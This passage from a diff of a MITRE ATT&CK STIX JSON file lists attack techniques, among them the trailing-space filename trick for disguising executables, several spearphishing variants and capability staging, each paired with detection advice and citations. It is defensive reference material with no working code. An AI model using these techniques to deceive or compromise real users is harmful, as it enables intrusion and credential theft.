"x_mitre_version": "2.0", + "modified": "2020-03-30T13:40:14.512Z", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_deprecated": true, + "id": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "**This technique has been deprecated and should no longer be used.**\n\nThe source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or .**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.", + "x_mitre_remote_support": false, + "x_mitre_detection": "Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1153", + "external_id": "T1153", + "source_name": "mitre-attack" + }, + { + "url": "https://ss64.com/bash/source.html", + "description": "ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019.", + "source_name": "Source Manual" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-10T20:49:12.897Z", + "name": "Space after Filename", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1151", + "external_id": "T1151", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/649.html", + "external_id": "CAPEC-649", + "source_name": "capec" + }, + { + "source_name": "Mac Backdoors are back", + "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.", + "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Space after Filename", + "x_mitre_data_sources": [ + "File: File Metadata" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-29T20:26:01.690Z", + "created": "2020-02-10T20:47:10.082Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", + "x_mitre_contributors": [ + "Erye Hernandez, Palo Alto Networks" + ], + "x_mitre_detection": "It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1036/006", + "external_id": "T1036.006", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/649.html", + "external_id": "CAPEC-649", + "source_name": "capec" + }, + { + "source_name": "Mac Backdoors are back", + "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.", + "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-02T19:08:17.884Z", + "name": "Spearphishing Attachment", + "created": "2018-04-18T17:59:24.739Z", + "id": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1193", + "external_id": "T1193", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/163.html", + "external_id": "CAPEC-163", + "source_name": "capec" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-10-18T17:39:12.452Z", + "name": "Spearphishing Attachment", + "x_mitre_data_sources": [ + "File: File Creation", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "2.2", + "created": "2020-03-02T19:05:18.137Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_platforms": [ + "macOS", + "Windows", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Philip Winther" + ], + "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\n\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1566/001", + "external_id": "T1566.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/163.html", + "external_id": "CAPEC-163", + "source_name": "capec" + }, + { + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "source_name": "Microsoft Anti Spoofing" + }, + { + "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", + "source_name": "ACSC Email Spoofing" + }, + { + "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", + "source_name": "Elastic - Koadiac Detection with EQL" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Spearphishing Attachment", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-15T03:41:33.335Z", + "created": "2020-10-02T17:08:57.386Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc", + "description": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "x_mitre_contributors": [ + "Philip Winther", + "Sebastian Salla, McAfee", + "Robert Simmons, @MalwareUtkonos" + ], + "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1598/002", + "external_id": "T1598.002", + "source_name": "mitre-attack" + }, + { + "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/", + "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020.", + "source_name": "Sophos Attachment" + }, + { + "url": "https://github.com/ryhanson/phishery", + "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.", + "source_name": "GitHub Phishery" + }, + { + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "source_name": "Microsoft Anti Spoofing" + }, + { + "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", + "source_name": "ACSC Email Spoofing" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-02T19:21:35.153Z", + "name": "Spearphishing Link", + "created": "2018-04-18T17:59:24.739Z", + "id": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1192", + "external_id": "T1192", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/163.html", + "external_id": "CAPEC-163", + "source_name": "capec" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", + "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", + "source_name": "Trend Micro Pawn Storm OAuth 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Spearphishing Link", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "2.1", + "modified": "2021-04-14T14:38:42.715Z", + "created": "2020-03-02T19:15:44.182Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Office 365", + "SaaS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)", + "x_mitre_contributors": [ + "Philip Winther", + "Shailesh Tiwary (Indian Army)", + "Mark Wee", + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)" + ], + "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1566/002", + "external_id": "T1566.002", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/163.html", + "external_id": "CAPEC-163", + "source_name": "capec" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", + "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", + "source_name": "Trend Micro Pawn Storm OAuth 2017" + }, + { + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "source_name": "Microsoft Anti Spoofing" + }, + { + "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", + "source_name": "ACSC Email Spoofing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Spearphishing Link", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-15T03:42:26.537Z", + "created": "2020-10-02T17:09:50.723Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "x_mitre_contributors": [ + "Philip Winther", + "Sebastian Salla, McAfee", + "Robert Simmons, @MalwareUtkonos" + ], + "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nMonitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1598/003", + "external_id": "T1598.003", + "source_name": "mitre-attack" + }, + { + "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html", + "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.", + "source_name": "TrendMictro Phishing" + }, + { + "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages", + "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.", + "source_name": "PCMag FakeLogin" + }, + { + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "source_name": "Microsoft Anti Spoofing" + }, + { + "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", + "source_name": "ACSC Email Spoofing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Spearphishing Service", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:43:12.843Z", + "created": "2020-10-02T17:08:07.742Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6", + "description": "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "x_mitre_contributors": [ + "Robert Simmons, @MalwareUtkonos" + ], + "x_mitre_detection": "Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1598/001", + "external_id": "T1598.001", + "source_name": "mitre-attack" + }, + { + "url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/", + "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.", + "source_name": "ThreatPost Social Media Phishing" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-02T19:30:53.487Z", + "name": "Spearphishing via Service", + "created": "2018-04-18T17:59:24.739Z", + "id": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1194", + "external_id": "T1194", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/163.html", + "external_id": "CAPEC-163", + "source_name": "capec" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-10-18T01:55:02.988Z", + "name": "Spearphishing via Service", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "2.0", + "created": "2020-03-02T19:24:00.951Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "description": "Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_detection": "Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1566/003", + "external_id": "T1566.003", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/163.html", + "external_id": "CAPEC-163", + "source_name": "capec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Stage Capabilities", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:28:41.815Z", + "created": "2021-03-17T20:04:09.331Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0", + "description": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1608", + "external_id": "T1608", + "source_name": "mitre-attack" + }, + { + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.", + "source_name": "Volexity Ocean Lotus November 2020" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html", + "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.", + "source_name": "FireEye CFR Watering Hole 2012" + }, + { + "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/", + "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", + "source_name": "Gallagher 2015" + }, + { + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "source_name": "ATT ScanBox" + }, + { + "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", + "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.", + "source_name": "Malwarebytes Silent Librarian October 2020" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.", + "source_name": "Proofpoint TA407 September 2019" + }, + { + "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm", + "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.", + "source_name": "DigiCert Install SSL Cert" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-21T00:43:01.387Z", + "name": "Standard Cryptographic Protocol", + "created": "2017-05-31T21:30:35.334Z", + "id": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "revoked": true, + "external_references": [ + { + "url": 